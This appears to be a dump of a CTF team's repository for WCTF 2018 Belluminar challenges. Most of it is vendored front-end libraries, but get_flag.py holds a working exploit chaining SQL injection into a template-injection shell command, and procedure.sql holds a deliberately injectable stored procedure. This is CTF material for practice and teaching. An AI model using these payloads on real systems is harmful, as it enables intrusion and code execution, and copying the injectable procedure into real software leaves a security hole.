visual_specs.js │ ├── polymer │ │ ├── .bower.json │ │ ├── README.md │ │ ├── bower.json │ │ ├── docs │ │ │ └── index.html │ │ ├── explainer │ │ │ ├── data-bind.png │ │ │ ├── data-bind.vsdx │ │ │ └── samples.html │ │ ├── layout.html │ │ ├── polymer.html │ │ ├── polymer.js │ │ ├── polymer.min.js │ │ ├── src │ │ │ ├── lib │ │ │ │ ├── annotations │ │ │ │ │ ├── annotations.html │ │ │ │ │ └── demo │ │ │ │ │ │ └── app-chrome.html │ │ │ │ ├── array-observe.html │ │ │ │ ├── array-splice.html │ │ │ │ ├── async.html │ │ │ │ ├── base.html │ │ │ │ ├── bind │ │ │ │ │ ├── accessors.html │ │ │ │ │ ├── demo │ │ │ │ │ │ ├── app-chrome.html │ │ │ │ │ │ ├── app.html │ │ │ │ │ │ └── src │ │ │ │ │ │ │ ├── annotations-bind-demo.html │ │ │ │ │ │ │ └── bind-demo.html │ │ │ │ │ └── effects.html │ │ │ │ ├── case-map.html │ │ │ │ ├── collection.html │ │ │ │ ├── css-parse.html │ │ │ │ ├── debounce.html │ │ │ │ ├── dom-api.html │ │ │ │ ├── dom-module.html │ │ │ │ ├── event-api.html │ │ │ │ ├── expr │ │ │ │ │ ├── focus.html │ │ │ │ │ ├── gestures.html │ │ │ │ │ ├── log.html │ │ │ │ │ ├── sinspect.html │ │ │ │ │ ├── style-auditor.html │ │ │ │ │ └── style-protector.html │ │ │ │ ├── gestures.html │ │ │ │ ├── lang.html │ │ │ │ ├── module.html │ │ │ │ ├── polymer-bootstrap.html │ │ │ │ ├── resolve-url.html │ │ │ │ ├── settings.html │ │ │ │ ├── style-defaults.html │ │ │ │ ├── style-transformer.html │ │ │ │ ├── style-util.html │ │ │ │ ├── template │ │ │ │ │ ├── templatizer.html │ │ │ │ │ ├── x-array-selector.html │ │ │ │ │ ├── x-autobind.html │ │ │ │ │ ├── x-if.html │ │ │ │ │ ├── x-repeat.html │ │ │ │ │ └── x-template.html │ │ │ │ └── x-style.html │ │ │ ├── micro │ │ │ │ ├── attributes.html │ │ │ │ ├── behaviors.html │ │ │ │ ├── constructor.html │ │ │ │ ├── debouncer.html │ │ │ │ ├── extends.html │ │ │ │ ├── mixins.html │ │ │ │ ├── properties.html │ │ │ │ └── tag.html │ │ │ ├── mini │ │ │ │ ├── ready.html │ │ │ │ ├── shadow.html │ │ │ │ ├── shady.html │ │ │ │ └── template.html │ │ │ ├── polymer-lib.html │ │ │ └── standard │ │ │ │ ├── annotations.html │ │ │ │ ├── configure.html │ │ │ │ ├── effects.html │ │ │ │ ├── events.html │ │ │ │ ├── notify-path.html │ │ │ │ ├── resolveUrl.html │ │ │ │ ├── styling.html │ │ │ │ ├── utils.html │ │ │ │ └── x-styling.html │ │ └── test │ │ │ ├── assets │ │ │ ├── Beaker2.jpg │ │ │ └── test-style-path.html │ │ │ ├── compat │ │ │ ├── polymer-smoke-elements.html │ │ │ └── polymer-smoke-polyfill.html │ │ │ ├── runner.html │ │ │ ├── smoke │ │ │ ├── bind-smoke.html │ │ │ ├── custom-notify-smoke.html │ │ │ ├── elements-smoke.html │ │ │ ├── polymer-micro-smoke.html │ │ │ ├── polymer-mini-smoke.html │ │ │ ├── polymer-smoke.html │ │ │ ├── style-path-smoke.html │ │ │ ├── x-if.html │ │ │ └── x-repeat.html │ │ │ └── unit │ │ │ ├── async.html │ │ │ ├── attributes-elements.html │ │ │ ├── attributes.html │ │ │ ├── base.html │ │ │ ├── behaviors-elements.html │ │ │ ├── behaviors.html │ │ │ ├── bind-elements.html │ │ │ ├── bind.html │ │ │ ├── configure-elements.html │ │ │ ├── configure.html │ │ │ ├── css-parse.html │ │ │ ├── dynamic-import.html │ │ │ ├── dynamic-imports │ │ │ ├── dynamic-element.html │ │ │ ├── inner-element.html │ │ │ └── outer-element.html │ │ │ ├── gestures-elements.html │ │ │ ├── gestures.html │ │ │ ├── micro-elements.html │ │ │ ├── micro.html │ │ │ ├── notify-path-elements.html │ │ │ ├── notify-path.html │ │ │ ├── polymer-dom-elements.html │ │ │ ├── polymer-dom-shadow.html │ │ │ ├── polymer-dom.html │ │ │ ├── polymer-dom.js │ │ │ ├── ready-elements.html │ │ │ ├── ready-shadow.html │ │ │ ├── ready.html │ │ │ ├── ready.js │ │ │ ├── resolveurl.html │ │ │ ├── shady.html │ │ │ ├── styling-remote-elements.html │ │ │ ├── styling-remote-module-sheet.html │ │ │ ├── styling-remote-sheet.css │ │ │ ├── styling-remote.html │ │ │ ├── styling-scoped-elements.html │ │ │ ├── styling-scoped.html │ │ │ ├── sub │ │ │ └── resolveurl-elements.html │ │ │ ├── template-elements.html │ │ │ ├── template.html │ │ │ ├── template │ │ │ └── x-template.html │ │ │ ├── utils-content.html │ │ │ ├── utils-elements.html │ │ │ ├── utils.html │ │ │ ├── x-repeat-elements.html │ │ │ ├── x-repeat.html │ │ │ └── x-style.html │ ├── raphael │ │ ├── .bower.json │ │ ├── bower.json │ │ ├── dev │ │ │ ├── banner.txt │ │ │ ├── raphael.amd.js │ │ │ ├── raphael.core.js │ │ │ ├── raphael.svg.js │ │ │ ├── raphael.vml.js │ │ │ └── test │ │ │ │ ├── svg │ │ │ │ └── dom.js │ │ │ │ └── vml │ │ │ │ └── dom.js │ │ ├── license.txt │ │ ├── raphael-min.js │ │ ├── raphael.js │ │ ├── raphael.min.js │ │ ├── raphael.no-deps.js │ │ ├── raphael.no-deps.min.js │ │ ├── webpack.config.js │ │ └── yarn.lock │ └── webcomponentsjs │ │ ├── .bower.json │ │ ├── CustomElements.js │ │ ├── CustomElements.min.js │ │ ├── HTMLImports.js │ │ ├── HTMLImports.min.js │ │ ├── README.md │ │ ├── ShadowDOM.js │ │ ├── ShadowDOM.min.js │ │ ├── bower.json │ │ ├── build.log │ │ ├── package.json │ │ ├── webcomponents-lite.js │ │ ├── webcomponents-lite.min.js │ │ ├── webcomponents.js │ │ └── webcomponents.min.js ├── config.py ├── dist │ ├── css │ │ ├── sb-admin-2.css │ │ └── timeline.css │ └── js │ │ └── sb-admin-2.js ├── js │ ├── flot-data.js │ └── morris-data.js ├── loginform.py ├── requirements.txt ├── run.bat ├── stub.py ├── templates │ └── sb-admin │ │ ├── base.html │ │ ├── loginbase.html │ │ ├── macros │ │ ├── dashboard │ │ │ ├── areachart.html │ │ │ ├── barchart.html │ │ │ ├── chat.html │ │ │ ├── counticon.html │ │ │ ├── donut.html │ │ │ ├── notification.html │ │ │ └── timeline.html │ │ ├── flot │ │ │ ├── barchart.html │ │ │ ├── linechart.html │ │ │ ├── movinglinechart.html │ │ │ ├── multiaxeschart.html │ │ │ └── piechart.html │ │ ├── morris │ │ │ ├── areachart.html │ │ │ ├── barchart.html │ │ │ ├── donutchart.html │ │ │ └── linechart.html │ │ ├── navlink.html │ │ ├── tables │ │ │ ├── advtable.html │ │ │ ├── advtable_active.html │ │ │ ├── advtable_alive.html │ │ │ ├── advtable_track.html │ │ │ ├── advtable_track_user.html │ │ │ ├── table.html │ │ │ └── table_simple.html │ │ ├── topnav │ │ │ ├── alert.html │ │ │ ├── messagesummary.html │ │ │ └── tasksummary.html │ │ └── ui │ │ │ ├── notifications │ │ │ ├── alert.html │ │ │ └── dismissablealert.html │ │ │ └── panels │ │ │ ├── accordion.html │ │ │ ├── panel.html │ │ │ ├── tab.html │ │ │ └── well.html │ │ ├── master.html │ │ ├── nav.html │ │ ├── pages │ │ ├── blank.html │ │ ├── dashboard.html │ │ ├── login.html │ │ └── ui │ │ │ ├── buttons.html │ │ │ ├── grid.html │ │ │ ├── icons.html │ │ │ ├── notifications.html │ │ │ ├── panels-wells.html │ │ │ └── typography.html │ │ └── redirect.html ├── user.py └── views.py └── sqli_exp.py /2018/wctf-belluminar/README.md: -------------------------------------------------------------------------------- 1 | # Info 2 | 3 | 欢迎! 4 | This is a folder containing the tasks and solutions developed by LC↯BC team for the WCTF 2018 event (aka Belluminar Beijing). 5 | 6 | Belluminar is a type of CTF competition where the teams bring their own tasks for each other. 7 | This makes it very special and hard. 8 | 9 | The teams also have to present their intended solutions (and they get scored for that too, that's why you cannot just make a completely unsolvable task). 10 | 11 | Both of our tasks in 2018 have been solved by 2 teams: TokyoWesterns (1st place) and 0daysober (4th place). 12 | 13 | Also both tasks contain quite huge unintended bugs which were caused by merging different steps into a single challenge and forgetting to remove extra bugs under a deadline pressure =) 14 | 15 | The challenges in this folder are provided as is, without fixing those unintended bugs. 16 | 17 | Here's a link we shared with organizers before the event (you can get a deployed VM there): https://yadi.sk/d/gp-7LR323WmKMb 18 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/belluminar18.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/belluminar18.pdf -------------------------------------------------------------------------------- /2018/wctf-belluminar/belluminarbank/contract.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/belluminarbank/contract.bin -------------------------------------------------------------------------------- /2018/wctf-belluminar/belluminarbank/genesis.json: -------------------------------------------------------------------------------- 1 | { "config": { "chainId": 31338, "homesteadBlock": 0 }, "coinbase" : "0x571dc32a4A4DA1FD6fF02642537D85Be8984dCB2", "difficulty" : "0x1", "extraData" : "", "gasLimit" : "0xffffff", "mixhash" : "0x0000000000000000000000000000000000000000000000000000000000000000", "parentHash" : "0x0000000000000000000000000000000000000000000000000000000000000000", "alloc" : { "0x72d45c0dc7EfdAfd00467086B65B2fe078788c44": {"balance": "10000000000000000000"}, "0x571dc32a4A4DA1FD6fF02642537D85Be8984dCB2": {"balance": "10000000000000000000"} } } 2 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/belluminar.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/belluminar.sqlite3 -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/get_flag.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | target = '192.168.23.130:5000' 4 | 5 | s = requests.Session() 6 | h = {'Content-Type': 'application/x-www-form-urlencoded'} 7 | 8 | s.post('http://%s/admin/login/' % target, data=r"""username='%3bexec+sp_logEvent+"{{''.__class__.mro()[2].__subclasses__()[231]('type+..\..\\flag*+>+templates/sb-admin/pages/res.html',shell=True)}}",+'../server//////////////////////////////''',+',"../templates/sb-admin/pages/x.html"--+'%3b+--+&password=asd""", headers=h) 9 | 10 | [s.post('http://%s/admin/login/' % target, data="username='+union+select+0,'root','7815696ecbf1c96e6894b779456d330e'+--+&password=asd", headers=h) for _ in xrange(10)] 11 | 12 | s.get('http://%s/admin/?page=x' % target) 13 | print s.get('http://%s/admin/?page=res' % target).text -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/procedure.sql: -------------------------------------------------------------------------------- 1 | USE MASTER 2 | GO 3 | 4 | DROP PROCEDURE sp_logEvent; 5 | GO 6 | 7 | CREATE PROCEDURE sp_logEvent(@Txt varchar(max), @Name varchar(40), @Type varchar(40)) WITH EXECUTE AS OWNER 8 | AS 9 | BEGIN 10 | DECLARE @query varchar(max); 11 | SET @Txt = REPLACE(@Txt, "'", "''") 12 | SET @Name = REPLACE(@Name, "'", "''") 13 | SET @Type = REPLACE(@Type, "'", "''") 14 | SET @query = 'EXEC master..spWriteStringToFile ''' + @Txt + ''', ''C:\Users\belluminar\Desktop\webapp\logs\' + @Name + ''', ''' + @Type + '.log'''; 15 | EXECUTE(@query); 16 | END 17 | GO 18 | 19 | GRANT EXECUTE ON sp_logEvent to PUBLIC 20 | GRANT VIEW DEFINITION ON sp_logEvent TO PUBLIC 21 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/__init__.py -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/App States/app-states.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/App States/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "App States", 3 | "description": "Advanced router/state manager for Polymer", 4 | "main": "app-states.html", 5 | "keywords": [ 6 | "router", 7 | "polymer", 8 | "state-manager", 9 | "web-components" 10 | ], 11 | "authors": [ 12 | "Tansu TURKOGLU " 13 | ], 14 | "dependencies": { 15 | "polymer": "Polymer/polymer#~0.5.4", 16 | "webcomponentsjs": "~0.5.4" 17 | }, 18 | "license": "MIT", 19 | "ignore": [ 20 | "**/.*", 21 | "node_modules", 22 | "bower_components", 23 | "lib", 24 | "test", 25 | "tests", 26 | "tmp", 27 | "gulpfile.js", 28 | "package.json" 29 | ] 30 | } 31 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/App States/src/app-states.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap-social/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bootstrap-social", 3 | "main": "bootstrap-social.css", 4 | "licence": "MIT", 5 | "ignore": [ 6 | "assets", 7 | "index.html", 8 | "LICENCE" 9 | ], 10 | "dependencies": { 11 | "bootstrap": "~3", 12 | "font-awesome": "~4.2" 13 | }, 14 | "homepage": "https://github.com/lipis/bootstrap-social", 15 | "version": "4.8.0", 16 | "_release": "4.8.0", 17 | "_resolution": { 18 | "type": "version", 19 | "tag": "4.8.0", 20 | "commit": "918fc55c3c938377a7618ec0f115846e50d4b883" 21 | }, 22 | "_source": "https://github.com/lipis/bootstrap-social.git", 23 | "_target": "~4.8.0", 24 | "_originalSource": "bootstrap-social" 25 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap-social/.editorconfig: -------------------------------------------------------------------------------- 1 | # editorconfig.org 2 | 3 | root = true 4 | 5 | [*] 6 | indent_style = space 7 | indent_size = 2 8 | end_of_line = lf 9 | charset = utf-8 10 | trim_trailing_whitespace = true 11 | insert_final_newline = true 12 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap-social/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | dev 3 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap-social/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bootstrap-social", 3 | "main": "bootstrap-social.css", 4 | "licence": "MIT", 5 | "ignore": [ 6 | "assets", 7 | "index.html", 8 | "LICENCE" 9 | ], 10 | "dependencies": { 11 | "bootstrap": "~3", 12 | "font-awesome": "~4.2" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | Bootstrap uses [GitHub's Releases feature](https://github.com/blog/1547-release-your-software) for its changelogs. 2 | 3 | See [the Releases section of our GitHub project](https://github.com/twbs/bootstrap/releases) for changelogs for each release version of Bootstrap. 4 | 5 | Release announcement posts on [the official Bootstrap blog](http://blog.getbootstrap.com) contain summaries of the most noteworthy changes made in each release. 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | group :development, :test do 4 | gem 'jekyll', '~> 3.1.2' 5 | gem 'jekyll-sitemap', '~> 0.11.0' 6 | end 7 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bootstrap", 3 | "description": "The most popular front-end framework for developing responsive, mobile first projects on the web.", 4 | "keywords": [ 5 | "css", 6 | "js", 7 | "less", 8 | "mobile-first", 9 | "responsive", 10 | "front-end", 11 | "framework", 12 | "web" 13 | ], 14 | "homepage": "http://getbootstrap.com", 15 | "license": "MIT", 16 | "moduleType": "globals", 17 | "main": [ 18 | "less/bootstrap.less", 19 | "dist/js/bootstrap.js" 20 | ], 21 | "ignore": [ 22 | "/.*", 23 | "_config.yml", 24 | "CNAME", 25 | "composer.json", 26 | "CONTRIBUTING.md", 27 | "docs", 28 | "js/tests", 29 | "test-infra" 30 | ], 31 | "dependencies": { 32 | "jquery": "1.9.1 - 3" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/js/npm.js: -------------------------------------------------------------------------------- 1 | // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment. 2 | require('../../js/transition.js') 3 | require('../../js/alert.js') 4 | require('../../js/button.js') 5 | require('../../js/carousel.js') 6 | require('../../js/collapse.js') 7 | require('../../js/dropdown.js') 8 | require('../../js/modal.js') 9 | require('../../js/tooltip.js') 10 | require('../../js/popover.js') 11 | require('../../js/scrollspy.js') 12 | require('../../js/tab.js') 13 | require('../../js/affix.js') -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/grunt/.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "extends" : "../js/.jshintrc", 3 | "asi" : false, 4 | "browser" : false, 5 | "es3" : false, 6 | "node" : true 7 | } 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/js/.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "asi" : true, 3 | "browser" : true, 4 | "eqeqeq" : false, 5 | "eqnull" : true, 6 | "es3" : true, 7 | "expr" : true, 8 | "jquery" : true, 9 | "latedef" : true, 10 | "laxbreak" : true, 11 | "nonbsp" : true, 12 | "strict" : true, 13 | "undef" : true, 14 | "unused" : true 15 | } 16 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/.csslintrc: -------------------------------------------------------------------------------- 1 | { 2 | "adjoining-classes": false, 3 | "box-sizing": false, 4 | "box-model": false, 5 | "compatible-vendor-prefixes": false, 6 | "floats": false, 7 | "font-sizes": false, 8 | "gradients": false, 9 | "important": false, 10 | "known-properties": false, 11 | "outline-none": false, 12 | "qualified-headings": false, 13 | "regex-selectors": false, 14 | "shorthand": false, 15 | "text-indent": false, 16 | "unique-headings": false, 17 | "universal-selector": false, 18 | "unqualified-attributes": false 19 | } 20 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/breadcrumbs.less: -------------------------------------------------------------------------------- 1 | // 2 | // Breadcrumbs 3 | // -------------------------------------------------- 4 | 5 | 6 | .breadcrumb { 7 | padding: @breadcrumb-padding-vertical @breadcrumb-padding-horizontal; 8 | margin-bottom: @line-height-computed; 9 | list-style: none; 10 | background-color: @breadcrumb-bg; 11 | border-radius: @border-radius-base; 12 | 13 | > li { 14 | display: inline-block; 15 | 16 | + li:before { 17 | content: "@{breadcrumb-separator}\00a0"; // Unicode space added since inline-block means non-collapsing white-space 18 | padding: 0 5px; 19 | color: @breadcrumb-color; 20 | } 21 | } 22 | 23 | > .active { 24 | color: @breadcrumb-active-color; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/close.less: -------------------------------------------------------------------------------- 1 | // 2 | // Close icons 3 | // -------------------------------------------------- 4 | 5 | 6 | .close { 7 | float: right; 8 | font-size: (@font-size-base * 1.5); 9 | font-weight: @close-font-weight; 10 | line-height: 1; 11 | color: @close-color; 12 | text-shadow: @close-text-shadow; 13 | .opacity(.2); 14 | 15 | &:hover, 16 | &:focus { 17 | color: @close-color; 18 | text-decoration: none; 19 | cursor: pointer; 20 | .opacity(.5); 21 | } 22 | 23 | // Additional properties for button version 24 | // iOS requires the button element instead of an anchor tag. 25 | // If you want the anchor version, it requires `href="#"`. 26 | // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile 27 | button& { 28 | padding: 0; 29 | cursor: pointer; 30 | background: transparent; 31 | border: 0; 32 | -webkit-appearance: none; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/component-animations.less: -------------------------------------------------------------------------------- 1 | // 2 | // Component animations 3 | // -------------------------------------------------- 4 | 5 | // Heads up! 6 | // 7 | // We don't use the `.opacity()` mixin here since it causes a bug with text 8 | // fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552. 9 | 10 | .fade { 11 | opacity: 0; 12 | .transition(opacity .15s linear); 13 | &.in { 14 | opacity: 1; 15 | } 16 | } 17 | 18 | .collapse { 19 | display: none; 20 | 21 | &.in { display: block; } 22 | tr&.in { display: table-row; } 23 | tbody&.in { display: table-row-group; } 24 | } 25 | 26 | .collapsing { 27 | position: relative; 28 | height: 0; 29 | overflow: hidden; 30 | .transition-property(~"height, visibility"); 31 | .transition-duration(.35s); 32 | .transition-timing-function(ease); 33 | } 34 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/alerts.less: -------------------------------------------------------------------------------- 1 | // Alerts 2 | 3 | .alert-variant(@background; @border; @text-color) { 4 | background-color: @background; 5 | border-color: @border; 6 | color: @text-color; 7 | 8 | hr { 9 | border-top-color: darken(@border, 5%); 10 | } 11 | .alert-link { 12 | color: darken(@text-color, 10%); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/background-variant.less: -------------------------------------------------------------------------------- 1 | // Contextual backgrounds 2 | 3 | .bg-variant(@color) { 4 | background-color: @color; 5 | a&:hover, 6 | a&:focus { 7 | background-color: darken(@color, 10%); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/border-radius.less: -------------------------------------------------------------------------------- 1 | // Single side border-radius 2 | 3 | .border-top-radius(@radius) { 4 | border-top-right-radius: @radius; 5 | border-top-left-radius: @radius; 6 | } 7 | .border-right-radius(@radius) { 8 | border-bottom-right-radius: @radius; 9 | border-top-right-radius: @radius; 10 | } 11 | .border-bottom-radius(@radius) { 12 | border-bottom-right-radius: @radius; 13 | border-bottom-left-radius: @radius; 14 | } 15 | .border-left-radius(@radius) { 16 | border-bottom-left-radius: @radius; 17 | border-top-left-radius: @radius; 18 | } 19 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/center-block.less: -------------------------------------------------------------------------------- 1 | // Center-align a block level element 2 | 3 | .center-block() { 4 | display: block; 5 | margin-left: auto; 6 | margin-right: auto; 7 | } 8 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/clearfix.less: -------------------------------------------------------------------------------- 1 | // Clearfix 2 | // 3 | // For modern browsers 4 | // 1. The space content is one way to avoid an Opera bug when the 5 | // contenteditable attribute is included anywhere else in the document. 6 | // Otherwise it causes space to appear at the top and bottom of elements 7 | // that are clearfixed. 8 | // 2. The use of `table` rather than `block` is only necessary if using 9 | // `:before` to contain the top-margins of child elements. 10 | // 11 | // Source: http://nicolasgallagher.com/micro-clearfix-hack/ 12 | 13 | .clearfix() { 14 | &:before, 15 | &:after { 16 | content: " "; // 1 17 | display: table; // 2 18 | } 19 | &:after { 20 | clear: both; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/hide-text.less: -------------------------------------------------------------------------------- 1 | // CSS image replacement 2 | // 3 | // Heads up! v3 launched with only `.hide-text()`, but per our pattern for 4 | // mixins being reused as classes with the same name, this doesn't hold up. As 5 | // of v3.0.1 we have added `.text-hide()` and deprecated `.hide-text()`. 6 | // 7 | // Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757 8 | 9 | // Deprecated as of v3.0.1 (has been removed in v4) 10 | .hide-text() { 11 | font: ~"0/0" a; 12 | color: transparent; 13 | text-shadow: none; 14 | background-color: transparent; 15 | border: 0; 16 | } 17 | 18 | // New mixin to use as of v3.0.1 19 | .text-hide() { 20 | .hide-text(); 21 | } 22 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/labels.less: -------------------------------------------------------------------------------- 1 | // Labels 2 | 3 | .label-variant(@color) { 4 | background-color: @color; 5 | 6 | &[href] { 7 | &:hover, 8 | &:focus { 9 | background-color: darken(@color, 10%); 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/list-group.less: -------------------------------------------------------------------------------- 1 | // List Groups 2 | 3 | .list-group-item-variant(@state; @background; @color) { 4 | .list-group-item-@{state} { 5 | color: @color; 6 | background-color: @background; 7 | 8 | a&, 9 | button& { 10 | color: @color; 11 | 12 | .list-group-item-heading { 13 | color: inherit; 14 | } 15 | 16 | &:hover, 17 | &:focus { 18 | color: @color; 19 | background-color: darken(@background, 5%); 20 | } 21 | &.active, 22 | &.active:hover, 23 | &.active:focus { 24 | color: #fff; 25 | background-color: @color; 26 | border-color: @color; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/nav-divider.less: -------------------------------------------------------------------------------- 1 | // Horizontal dividers 2 | // 3 | // Dividers (basically an hr) within dropdowns and nav lists 4 | 5 | .nav-divider(@color: #e5e5e5) { 6 | height: 1px; 7 | margin: ((@line-height-computed / 2) - 1) 0; 8 | overflow: hidden; 9 | background-color: @color; 10 | } 11 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/nav-vertical-align.less: -------------------------------------------------------------------------------- 1 | // Navbar vertical align 2 | // 3 | // Vertically center elements in the navbar. 4 | // Example: an element has a height of 30px, so write out `.navbar-vertical-align(30px);` to calculate the appropriate top margin. 5 | 6 | .navbar-vertical-align(@element-height) { 7 | margin-top: ((@navbar-height - @element-height) / 2); 8 | margin-bottom: ((@navbar-height - @element-height) / 2); 9 | } 10 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/opacity.less: -------------------------------------------------------------------------------- 1 | // Opacity 2 | 3 | .opacity(@opacity) { 4 | opacity: @opacity; 5 | // IE8 filter 6 | @opacity-ie: (@opacity * 100); 7 | filter: ~"alpha(opacity=@{opacity-ie})"; 8 | } 9 | -------------------------------------------------------------------------------- 